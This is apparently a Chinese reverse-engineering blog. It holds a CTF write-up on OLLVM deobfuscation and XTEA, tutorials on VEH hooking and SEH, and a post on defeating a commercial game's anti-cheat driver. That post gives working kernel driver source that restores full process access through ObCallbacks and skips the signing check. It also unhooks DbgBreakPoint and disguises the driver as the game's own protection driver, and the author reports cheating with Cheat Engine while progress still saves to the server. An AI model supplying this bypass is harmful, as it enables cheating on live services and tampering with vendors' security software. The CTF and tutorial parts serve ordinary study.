跟踪剩下的call可以发现很难看,很多都是没用的跳转,所以结合着打上内存断点,可以找到如下内容:

WTJ4QTO33P_YL308F_A~_CJ.png

image.png

它会依次获取加密后的输入数据,以及比较数据?这个比较数据每次都在变化,然后进行比较,通过调试改值,可以一路改下去,然后就能够使得程序输出right flag的字符串,打到这个时候其实已经就很有信心能出了;

为什么直接引用outandin地方的地址不能直接x获取到这些被引用的地方呢?

是因为这个混淆做了一个表,它每次要获取地址的时候,都是用代码段上的立即数去加或者减这个表里的无意义的数据,得到一个可用的地址,这样就防止了地址引用的查询,但是还是逃不过内存断点;

使用如下ida的python脚本进行更改比对值且输出比较内容:

1
2
3
ea=get_reg_value("r8")
print(hex(ea))
set_reg_value(ea, "rdx")

对打印的内容进行整理拿到如下比较hex:

1
BE 44 7B 02 BA 95 4B 8C E3 A8 F1 90 FB CD A4 3C 2F EE 9E 68 79 AA 6D ED 85 B0 77 2F 27 3F 41 FF 1F C1 CF 43 AA 00 AC FA 71 43 57 09 51 BA F7 B2 67 96 52 47 A0 50 40 C7

现在要做的就是查看分组加密算法了,回到当时加密的部分,一步一步的跟踪看过去,发现程序会去操作两个寄存器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
算法逻辑:

ecx 给到12345678h 异或 ffffffff 与上 4C4CDB01 -> 4C488901 xor ffffffff -> B3B776FE

eax 给到12345678h 加上 B3B324FE 异或 ffffffff -> EDCFFB87

ecx = ecx & eax = A1877286 = B3B776FE & EDCFFB87

eax = ecx = ecx xor 0xffffffff = 5E788D79

eax xor 0xffffffff = A1877286

ecx = ecx & 4CD6DA30 xor 0xffffffff = B3AF77CF -> 12AE5749 -> EDD9AEF6

eax = eax & 0B32925CF xor 0xffffffff = 5EFEDF79 xor ffff -> ED51A8B6 -> 8C1128B0 -> 61C88646 ->9E3779B9

那最终经过一段又臭又长的小丑代码膨胀之后,你会拿到eax会变成 0x9e3779b9;

包是tea里面的delta,弟弟;

通过进一步调试我能拿到如下栈帧内容:

image

能够拿到key和轮次,那么直接把三个tea都拿来试,试完可以发现是xtea(不是tea和xxtea);

写逆运算,直接拿到不可见字符,太棒了,我逐渐理解一切;

思考是否是因为有反调试在搞我,于是尝试用ida附加进程,发现附加不上,很大可能;

拿CE进行附加调试,可以发现最终的比较数据发生了变化,同时我们输入计算的结果也发生了变化(千万别用其他算法搞我):

image

第一个思路是找idata段(iat表)用到了反调试的哪些函数,可以找到疑似的如下:

1
2
.idata:00007FF704979060 20 7F B1 DD F8 7F 00 00       IsDebuggerPresent 
.idata:00007FF704979038 00 11 B1 DD F8 7F 00 00 GetSystemTimeAsFileTime

对其进行x引用反查并下断点,能够发现不是他们的原因(不会断下来);

接着对ida里进行search,搜索字节块,直接搜索hex 60 (对于静态反调试而言,PEB结构很重要,32位是fs:30 64位是gs:60)

然后在搜索的结果里ctrl+f筛选gs,果然给找到了:

image.png

之后在这里给下个断点,ida调试一启动程序就到这里来,先把eax改成0,然后把上面一条句子改成xor eax,eax nop nop;

就可以不用管这个地方了;

之后还是一样的调试,能够发现第一轮56长度循环的时候对输入做改动了,对输入的每个字节进行加40h,第二轮循环还是老样子,分组tea也是老样子(还好没变,变了我要把出题人给草草了),然后比较的数据也变了,内容就是ce里面的,说明ce附加调试是正确的数据,用之前的方法再提一遍数据:

1
a1 e3 51 98 86 56 76 49 6f 6b 2b 81 cf ce 12 96 a2 70 35 3c 31 62 5c f1 fa 77 6b aa 9e 6d 05 be e8 24 a4 f8 db 23 3a 0b 16 20 cc 03 ad b5 2b a9 34 9f 78 1d 2e b9 f9 9e

这次数据就是正确的了;

反思:拿到怪玩意儿先找反调试,不然后期恶心死我;

之后写脚本进行flag获取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#include<iostream>
using namespace std;

typedef unsigned int DWORD;

void teaE(DWORD* EntryData, DWORD* Key)
{
//分别加密数组中的前四个字节与后4个字节,4个字节为一组每次加密两组
DWORD x = EntryData[0];
DWORD y = EntryData[1];

DWORD sum = 0;
DWORD delta = 0x9E3779B9;
//总共加密32轮
for (int i = 0; i < 0x66; i++)
{
sum += delta;
x += ((y << 4) + Key[0]) ^ (y + sum) ^ ((y >> 5) + Key[1]);
y += ((x << 4) + Key[2]) ^ (x + sum) ^ ((x >> 5) + Key[3]);
if(i==0)
printf("%d轮:v0: %x v1: %x\n", i, x, y);
}
//最后加密的结果重新写入到数组中
EntryData[0] = x;
EntryData[1] = y;
}

void xteaE(DWORD v[2], DWORD const key[4]) {
unsigned int i;
DWORD v0 = v[0], v1 = v[1], sum = 0, delta = 0x9E3779B9;
for (i = 0; i < 0x66; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
//if (i == 0)
//printf("%d轮:v0: %x v1: %x\n", i, v0, v1);
}
v[0] = v0; v[1] = v1;
}

#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void xxtea(DWORD* v, int n, DWORD const key[4])
{
DWORD y, z, sum;
unsigned p, rounds, e;

rounds = 0x66;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
if (rounds == 0x66)
printf("%d轮:v0: %x v1: %x\n", rounds, y, z);
} while (--rounds);

}

//上面这三个都是在尝试
//比较数据
//unsigned int ans[14] = { 假的,出生
// 0x027B44BE, 0x8C4B95BA, 0x90F1A8E3, 0x3CA4CDFB, 0x689EEE2F, 0xED6DAA79, 0x2F77B085, 0xFF413F27,
// 0x43CFC11F, 0xFAAC00AA, 0x09574371, 0xB2F7BA51, 0x47529667, 0xC74050A0
//};

unsigned int ans[14] = {
0x9851E3A1, 0x49765686, 0x812B6B6F, 0x9612CECF, 0x3C3570A2, 0xF15C6231, 0xAA6B77FA, 0xBE056D9E,
0xF8A424E8, 0x0B3A23DB, 0x03CC2016, 0xA92BB5AD, 0x1D789F34, 0x9EF9B92E
};

//unsigned char ans[] = "\xde\xde\xde\xde\xde\xde\xde\xde";
//DWORD res[] = { 0x027B44BE ,0x8C4B95BA };
//DWORD k[4] = { 2,2,3,4 };

DWORD k[4] = { 0xEF6FD9DB, 0xD2C273D3, 0x6F97E412, 0x72BFD624 };

void xteaD(DWORD v[2], DWORD const key[4]) {
unsigned int i;
DWORD v0 = v[0], v1 = v[1], delta = 0x9E3779B9, sum = delta * 0x66;
for (i = 0; i < 0x66; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0; v[1] = v1;
}

int main()
{
// printf("%x %x\n", ((DWORD*)ans)[0], ((DWORD*)ans)[1]);
//xteaE((DWORD*)ans,k);
//xxtea((DWORD*)datas,2, k);

//printf("%x %x\n", ((DWORD*)ans)[0], ((DWORD*)ans)[1]);
for (int i = 0; i < 14; i += 2)
{
xteaD((DWORD*)&(((DWORD*)ans)[i]), k);
}
unsigned char* str = (unsigned char*)ans;
for (int i = 0; i < 56; i++)
{
printf("%02x ", str[i]);
}
printf("\n\n\n");
for (int i = 0; i < 56; i++)
{
printf("%c", (unsigned char)((0x7f - str[i])- 0x40));
}
//printf("%x", ans[2]);
//DWORD sum = 0;
//for (int i = 0; i < 0x66; i++)
//{
// sum += DELTA;
//}
//printf("%x", sum);

return 0;
}

最后拿到flag:flag{u_ar3_re@11y_g00d_@t_011vm_de0bf_and_anti_debugger}

草草了,ollvm,还是第一次见混淆之后的程序,太抽象了,有一种vmp的美,给我搞了一天,难绷;

根据flag可以知道有一个deobf的工具应该可以有效去除ollvm的混淆,之后可以研究来看看;

阅读全文
驱动obcallback反附加的一次尝试

前言

起因是因为某手游用CE附加会发现无法附加上,那包括很多目前流行的游戏,steam也好,wegame也好基本上都是这个样子的;

在没有驱动编程知识的条件下盲人摸黑阶段,只有用r3的思路去揣测,是否是对进程,服务,等等内容进行遍历找CE的关键字段被检测到了,又或者调了一个Windows回调不停的遍历text段和关键部分看是否被篡改等等思考,当然用ida传统CTF逆向的方法去做很难,代码量太大,把文件扔进去ida自动扫描就要扫半天;

根据这些r3的思考也做过几次尝试,比如用魔改版的CE,比如写dll注入读数据,都没有结果,而且也不知道原因啊,卡了一段时间;

之后在b站刷视频,说是这个手游有一个驱动保护,权限高于用户层,那么去网上找了个system权限的ce工具,发现可以读写内存了,但是会被检测出来,游戏中途直接G掉,这个检测一时半会儿也找不出来,同时不能直接扣走这个驱动,它和游戏是一体的,扣走无法正常游戏;

后来看了一篇博客:https://blog.csdn.net/u011442768/article/details/109207144

里面分析了三种可能,同时这个文章用到了ark工具,我也下了个pc hunter来用,然后?然后整件事情就有了进展;

PcHunter分析

就一个一个的找过去,能发现这几个地方:

image.png

有一说一pchunter真好用吧,这个比拿着ida在那瞎jb逆好多了;

所有回调都是这个保护驱动进行的,那思路首先应该是逆一下这个驱动,找关键的回调函数,我其实都想照着上面说的博客文章进行一步一步的试了,dump驱动的镜像内存,直接跳偏移去看这些函数,但是我发现了一个问题如下:

image.png

可能是我不太会dump吧,搞出来的镜像貌似是静态的,关键代码段都被内嵌的upx加密了,线索被断掉了(菜);

花时间的话应该也能搞定dump这块,但之后的内容让我省了这一部分技术性的操作;

去必应搜索obcallback可以得到很多有用的东西,比如obcallback实际上会去操作OB_PRE_OPERATION_INFORMATION这个结构体,这个结构体是每个进程单独有的,里面有一个叫做 DesiredAccess 的字段,是影响进程读写内存等等权限的;

那之前是用SYSTEM级别权限的CE可以直接进行读写,是否可以猜测保护驱动展开的obcallback在一直给每个新开的进程读写内存降权,因为它的obcallback是在进程线程创建时会去调用;

根据这个猜测进行尝试,如果我在它的回调调用之后进行提权操作,那么就可以恢复读写权限;

用魔法打败魔法,它是驱动执行的ob回调,那么我们也写一个驱动来执行我的ob回调;

编写驱动尝试

去b站搜怎么写驱动啊,怎么让驱动调用obcallback,那也是给找着了;

首先还是用VS2022进行,但是需要安装SDK和WDK,同时这两个需要同样的版本号;

同时WDK需要和windows版本对应,为了使用支持VS2022版本的WDK还特别升级了Windows11 22H2进行和WDK进行匹配;

然后神奇的发现了电脑开机速度还变快了( 别用垃圾win11 21h2

之后环境配好之后开始写驱动,实现的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
//包含驱动开发中基本的数据结构,数据类型
//类似于iostream
#include <ntifs.h>
#include <ntddk.h>

//数据结构 LDR
typedef struct _LDR_DATA {
struct _LIST_ENTRY InLoadOrderLinks;
struct _LIST_ENTRY InMemoryOrderLinks;
struct _LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG32 SizeOfImage;
UINT8 _PADDINGO_[0x4];
struct _UNICODE_STRING FullDllName;
struct _UNICODE_STRING BaseDllName;
ULONG32 Flags;
} LDR_DATA, * PLDR_DATA;

//定义一个系统函数
NTKERNELAPI UCHAR* PsGetProcessImageFileName(PEPROCESS Process);

//声明回调函数
OB_PREOP_CALLBACK_STATUS MyCallBack(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION OpertaionInformation);
//给ce改名,长ce名get名称函数有问题
const char* g_MyProcessName = "111.exe";
//实现
OB_PREOP_CALLBACK_STATUS MyCallBack(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION OpertaionInformation)
{
//只要有进程创建就会调用,所以先if判断
//KdPrint(("this is in call back!!!\n"));
PEPROCESS Process = PsGetCurrentProcess();
//KdPrint((PsGetProcessImageFileName(Process)));
if (_strnicmp(g_MyProcessName, PsGetProcessImageFileName(Process), strlen(g_MyProcessName)) == 0)
{
//是我们要找的进程
//恢复权限 openprocess
OpertaionInformation->Parameters->CreateHandleInformation.DesiredAccess = 0x1fffff;
OpertaionInformation->Parameters->DuplicateHandleInformation.DesiredAccess = 0x1fffff;
KdPrint(("进入callback!\n"));
return 0;
}
return OB_PREOP_SUCCESS;
}

//结构体数组 定义了callback
OB_OPERATION_REGISTRATION ObUpperOperationRegistration[] =
{
//第二个参数是回调执行时期,第三个参数是回调地址
//这里让回调在进程线程创建和复制的时候执行
{NULL, OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE ,MyCallBack,NULL},
{NULL, OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE ,MyCallBack,NULL}
};
OB_OPERATION_REGISTRATION ObLowerOperationRegistration[] =
{
{NULL, OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE ,MyCallBack,NULL},
{NULL, OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE ,MyCallBack,NULL}
};

//注册回调需要的结构体变量
OB_CALLBACK_REGISTRATION UpperCallbackRegistration =
{
OB_FLT_REGISTRATION_VERSION, //版本号
2, //注册数量 (线程,进程创建时)
RTL_CONSTANT_STRING(L"880000"), //影响回调的执行顺序 回调号 越小后执行
NULL,
ObUpperOperationRegistration //另一个数据结构,包含回调函数
};
//执行两次,包含原神的回调函数在数字之间,必定在它的回调函数之后执行我们的
OB_CALLBACK_REGISTRATION LowerCallbackRegistration =
{
OB_FLT_REGISTRATION_VERSION,
2,
RTL_CONSTANT_STRING(L"1000"),
NULL,
ObLowerOperationRegistration
};

HANDLE g_UpperHandle, g_LowerHandle;

//声明回调函数的注册和卸载函数
BOOLEAN ObRegisterCallback(PDRIVER_OBJECT DriverObject);
void ObRegisterUnload();
//实现
BOOLEAN ObRegisterCallback(PDRIVER_OBJECT DriverObject)
{
NTSTATUS sta;
//注册回调函数需要签名
//或上一个0x20可以不需要签名 这个flag在win api里是timestamp的作用
PLDR_DATA ldr;
ldr = (PLDR_DATA)DriverObject->DriverSection;
ldr->Flags |= 0x20;

//指定回调类型 这个结构体的第一个参数
ObUpperOperationRegistration[0].ObjectType = PsProcessType;
ObUpperOperationRegistration[1].ObjectType = PsThreadType;

ObLowerOperationRegistration[0].ObjectType = PsProcessType;
ObLowerOperationRegistration[1].ObjectType = PsThreadType;

//进行注册 第二个参为返回句柄
sta = ObRegisterCallbacks(&UpperCallbackRegistration, &g_UpperHandle);
if (!NT_SUCCESS(sta))
{
//失败就进卸载
ObRegisterUnload();
g_UpperHandle = NULL;
}
sta = ObRegisterCallbacks(&LowerCallbackRegistration, &g_LowerHandle);
if (!NT_SUCCESS(sta))
{
ObRegisterUnload();
g_LowerHandle = NULL;
}
}
void ObRegisterUnload()
{
if (g_UpperHandle != NULL)
ObUnRegisterCallbacks(g_UpperHandle);
if (g_LowerHandle != NULL)
ObUnRegisterCallbacks(g_LowerHandle);
}


//下面的为驱动主体 ----------------------------------------

//每个驱动都需要卸载,卸载函数
void DriverUnload(PDRIVER_OBJECT DriverObject)
{
//卸载注册的回调
ObRegisterUnload();
KdPrint(("Driver unload!\n"));
}

// NTSTATUS 32位数据 -> DWORD
NTSTATUS DriverEntry(
PDRIVER_OBJECT DriverObject, //驱动对象 -> 句柄
PUNICODE_STRING RegistryPath //注册表路径
)
{
//指定卸载函数
DriverObject->DriverUnload = DriverUnload;

//注册回调函数
ObRegisterCallback(DriverObject);

//debug版本中是printf的作用,release版本无作用,注释掉了
KdPrint(("hello second bc.\n"));

return 0;
}

里面的注释都很到位,可以慢慢看;

解释下的话,驱动编写需要注意几点,驱动的main函数叫DriverEntry,同时需要给到卸载函数(析构的作用);

同时obcallback的调用需要进行注册,之后需要卸载;

KdPrint其实是DbgPrint的一个宏定义,在debug版本可以显示打印内容;

之后的话,搜索怎么调试驱动搞了半天,要什么双机调试,不然蓝屏之类的,所以驱动开发还是得要虚拟机,别用真机吧;

我懒得搞就下了个 driver monitor进行手动加载驱动,包括下载一个 debugview 进行对KdPrint内容的捕捉(既然不好调试就用最经典的print调试法);

然后发现driver monitor装载不上,是因为驱动要签名,又去找签名方法,找到了个好用的方法,b站视频如下:

驱动数字签名教程_哔哩哔哩_bilibili

之后就可以装载驱动进行测试了,发现我日还真能直接用原版ce进行读写内存了,而且不会显示被检测到:

image.png

但是还是依然无法进行调试器附加,原因是和pchunter找到的应用层钩子有关系啊,它钩住了一个ntdll的dbgbreakpoint,把这个恢复之后就能成功附加上了;

至此CE反附加就攻克了;

稳定性调试

当然ce能附加了,但游戏依然不稳定,时不时就会掉线,ce附加时不时也会自动脱落,有时候还会在搜数据的时候游戏弹异常直接G;

猜测它的驱动保护里还有一些对于调试器和读写内存的检测;

试了很多办法之后,不管是改调试器,还是开dbvm,等等都无法稳定调试;

那最稳妥的方法应该是折返回去好好逆一下保护驱动的dump出的内存;

想着我们写的驱动和它的保护驱动性质差不多,都要去注册ob回调,干脆一不做二不休把我们的驱动改个名扔它启动目录下去伪装成它的保护驱动,结果还相当有效,简直瞎猫碰死耗子了;

猜测原因是它的主程序执行驱动的时候,只是单纯做了简单判断有没有这个文件,跑没跑上,没有去检测文件签名属性,以及内容;

只能说运气特别好啊,省了超级多麻烦,这样一来游戏一执行还会启动我们的驱动程序,都省的用driver monitor了;

之后就是一马平川了,该怎么玩CE就怎么玩,游戏数据也能正常被保存到服务器上;

总结

总的说来,这个保护驱动并不强,最狠的最主要的就是通过obcallback来进行降权,没有内核钩子;

这一套下来也花了两天时间去做,反思了一下如果想要攻克其他类型的驱动保护,就需要进一步的学习驱动编程以及内核R0部分的内容,同时需要更好的逆向手法去获取内存中真实的镜像拿到代码去分析,才能对症下药去解决检测问题;

这其实还能算是我驱动编程的入门学习了;

没有使用r3那套进行辅佐保护我猜测的原因是模块化导致的,游戏一开始做的时候,保护和内容是分开的,同时以我的那套r3保护构想来说的话,太吃资源性能也是一方面的问题;

阅读全文
VEHhook

VEH介绍

全称 vector exception handle,向量化异常处理;

和SEH类似的东西,SEH存放于线程的栈上;

而VEH存放于进程的堆上,且是以双链表的形式,而SEH是单链表;

异常处理顺序为 : 调试器 -> VEH -> SEH;

添加VEH异常处理可以用如下API:

1
2
3
4
PVOID AddVectoredExceptionHandler(
ULONG First,
PVECTORED_EXCEPTION_HANDLER Handler
);

第一个参数非0则添加到第一个处理,否则添加到末尾;

Handler是函数指针,原型如下:

1
2
3
4
LONG PvectoredExceptionHandler(
[in] _EXCEPTION_POINTERS *ExceptionInfo
)
{...}

返回值可以是0和-1,返回0代表继续处理,返回-1代表返回原本触发异常处继续执行;

其中参数是一个结构体,结构如下所示:

1
2
3
4
typedef struct _EXCEPTION_POINTERS {
PEXCEPTION_RECORD ExceptionRecord;
PCONTEXT ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

第一个参数记录的是异常信息结构体;

第二个参数保存的是异常发生时,线程处理器状态信息(寄存器环境值);

那么当异常发生时,被VEH捕获后,就可以改动寄存器的值来进行异常处理;

如下例子:

当除零时会发生异常,此时如果添加了VEH处理,可以通过更改环境值进行异常绕过,或者处理;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <iostream> 
#include <windows.h>
using namespace std;

LONG WINAPI PvectoredExceptionHandler(
_EXCEPTION_POINTERS* ExceptionInfo
)
{
cout << "触发VEH异常处理." << endl;
//跳过
ExceptionInfo->ContextRecord->Eip += 4;
return -1;
}

int main() {

AddVectoredExceptionHandler(1, PvectoredExceptionHandler);
int a = 0;
a /= 0;
printf("123\n");
return 0;
}

结果如下图所示:

result

hook原理

因为VEH处理函数可以拿寄存器,也就可以拿目标api的输入输出,只需要在目标api内触发一个异常,就可以使用ebp以及其他寄存器拿到其输入参数以及修改输出内容;

SEH HOOK原理也如此,它们的核心思想是利用了异常处理的框架,不用自己去构造;

触发断点应选择硬件断点,避免修改代码int3绕过大量检测;

缺陷是只能hook4个地址,因为硬件断点就这么多;

前置知识:

调试寄存器

register

DR0 ~ DR7

DR0 ~ DR3存放的是硬件断点的断点地址;

DR6存放的是异常信息;

DR7则是控制作用;

其中DR7里, L0-L3对应DR0-DR3的断点是否有效,局部断点;

G0-G3同上,全局断点(Windows没用);

LEN0 - LEN3 对应DR0 - DR3的断点长度,不同类型断点,长度不同,比如执行断点长度为1;

00对应1,01对应2,11对应4;

RW0 - RW3 对应断点类型,00对应执行断点,01对应写入断点,11对应读写断点;

要下断点那么就需要修改调试寄存器,如何修改呢?

1
2
3
4
BOOL SetThreadContext(
[in] HANDLE hThread,
[in] const CONTEXT *lpContext
);

用以上函数设置,自定义context结构和数值,第一个参数用GetCurrentThread来获取句柄;

设置context结构的时候要注意它有一个字段为 contextFlags,标识context哪些属性有效;

1
CONTEXT_DEBUG_REGISTERS		//表明调试寄存器有效

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <iostream> 
#include <windows.h>
using namespace std;

HANDLE main_thread = 0;

LONG WINAPI PvectoredExceptionHandler(
_EXCEPTION_POINTERS* ExceptionInfo
)
{
cout << "触发VEH异常处理." << endl;
//处理对应
if (ExceptionInfo->ExceptionRecord->ExceptionAddress == MessageBoxA)
{
cout << "执行hook." << endl;
//修改字符串输出 此时刚刚进函数还没进行栈平衡
DWORD arg1Addr = ExceptionInfo->ContextRecord->Esp + 4;
DWORD arg2Addr = ExceptionInfo->ContextRecord->Esp + 8;
DWORD arg3Addr = ExceptionInfo->ContextRecord->Esp + 12;
DWORD arg4Addr = ExceptionInfo->ContextRecord->Esp + 16;
//原api执行
CONTEXT context = { 0 };
CONTEXT oldcontext = { 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext(main_thread, &context);
int result = MessageBoxA(*(HWND*)arg1Addr, *(LPCSTR*)arg2Addr, *(LPCSTR*)arg3Addr, *(UINT*)arg4Addr);
ExceptionInfo->ContextRecord->Eax = result;

//修改
LPCSTR re = "你是黑矮星.";
*(LPCSTR*)arg2Addr = re;
result = MessageBoxA(*(HWND*)arg1Addr, *(LPCSTR*)arg2Addr, *(LPCSTR*)arg3Addr, *(UINT*)arg4Addr);
ExceptionInfo->ContextRecord->Eax = result;

//直接返回 eip + 70 == ret
ExceptionInfo->ContextRecord->Eip += 70;
return -1;
}

return 0;
}

int main()
{
AddVectoredExceptionHandler(1, PvectoredExceptionHandler);

//hook api address
DWORD breakPoint0 = 0;
HMODULE user32 = LoadLibraryA("user32.dll");
breakPoint0 = (DWORD)GetProcAddress(user32, "MessageBoxA");

//设置断点 局部有效
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
context.Dr7 = 1;
context.Dr0 = breakPoint0;
main_thread = GetCurrentThread();
SetThreadContext(main_thread, &context);

//调用 触发断点处理异常
if (MessageBoxA(0, "我是谁?", 0, 0))
cout << "成功执行..." << endl;

return 0;
}

以上代码hook了messageBoxA这个函数,hook的时候执行了两次,一次原函数,一次修改输出后的函数,可以正确返回;

阅读全文
WindowsSEH

概念

全称 Structured Exception Handling

是windows操作系统默认的异常处理机制;

使用

使用 _try 包裹可能出现异常的语句

_except()处理异常,当括号内为真的时候,执行处理语句;

例如:

1
2
3
4
5
6
7
8
9
10
11
12
int main()
{
_try
{
printf("123\n");
}
_except(1)
{
printf("执行!\n");
}
return 0;
}

原理

当程序触发异常后,程序会进行ip寄存器的跳转:

非调试状态下运行程序,触发后判断是否存在异常处理器(一个函数,在上述例子中,写上了try和except()编译器给程序添加了异常处理器,并会处理except中的内容),否则退出程序;

调试状态下,操作系统会优先将异常抛给调试进程(断点原理),之后调试器的选择有:

  • 修改触发异常的代码继续执行
  • 忽略异常交给SEH执行

则windows发生异常后的处理顺序为:调试器,SEH,结束程序;

结构

1
2
3
4
5
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
struct _EXCEPTION_REGISTRATION_RECORD *Next; //指向下一个节点
PEXCEPTION_ROUTINE Handler; //异常处理器(回调处理函数)
}EXCEPTION_REGISTRATION_RECORD;

这是一个链表结构中的节点,所以SEH是以链式存在的;

第一个节点位置位于 fs:[0] 段寄存器处(同时是TEB结构,即TEB第一个字段就是异常处理链);

当异常发生时,从第一个节点开始处理,之后向后传递依次处理,直到处理成功,可以返回原本位置继续执行,否则退出程序;

最后一个节点next指针指向 0xFFFFFFFF;

当在程序中写入了_try和_except之后,操作系统会动态的生成一个节点结构,从头部插入;

总结

要提一嘴的是,windows异常抛出的种类特别多,而调试器的设置有很重要的因素,在逆向的时候,遇到一些异常(比如c0005,0地址执行),直接运行过去会导致断点在SEH已经处理完的时候,并不会断在异常发生的时候,这和调试器的异常捕获设置有关;

调试器一般就只会在CC断点异常处断下;

也可以找到fs:[0]的地方,将断点直接打在SEH链表头部,这样发生异常就能断下来;

对于32位程序来说,用高级语言写的_try_except生成的新节点插入会在汇编中以如下的形式体现:

1
2
3
4
push ExceptionHandler			;编译器生成的异常处理器
mov eax, dword ptr fs:[0] ;原先的SEH链表头部
push eax
mov dword ptr fs:[0], esp

此时在栈中,原先SEH头部地址在上,相当于新节点的next,编译器给的函数在下,相当于新节点的Handler,此时esp指向新节点的第一个字段next,也就是新节点头部,所以将esp又给予fs:[0],为原链表在头部添加了一个新节点;

但要注意这只在这个函数体(栈帧)里有效,函数结束时会做出相应的栈平衡,并释放栈;

阅读全文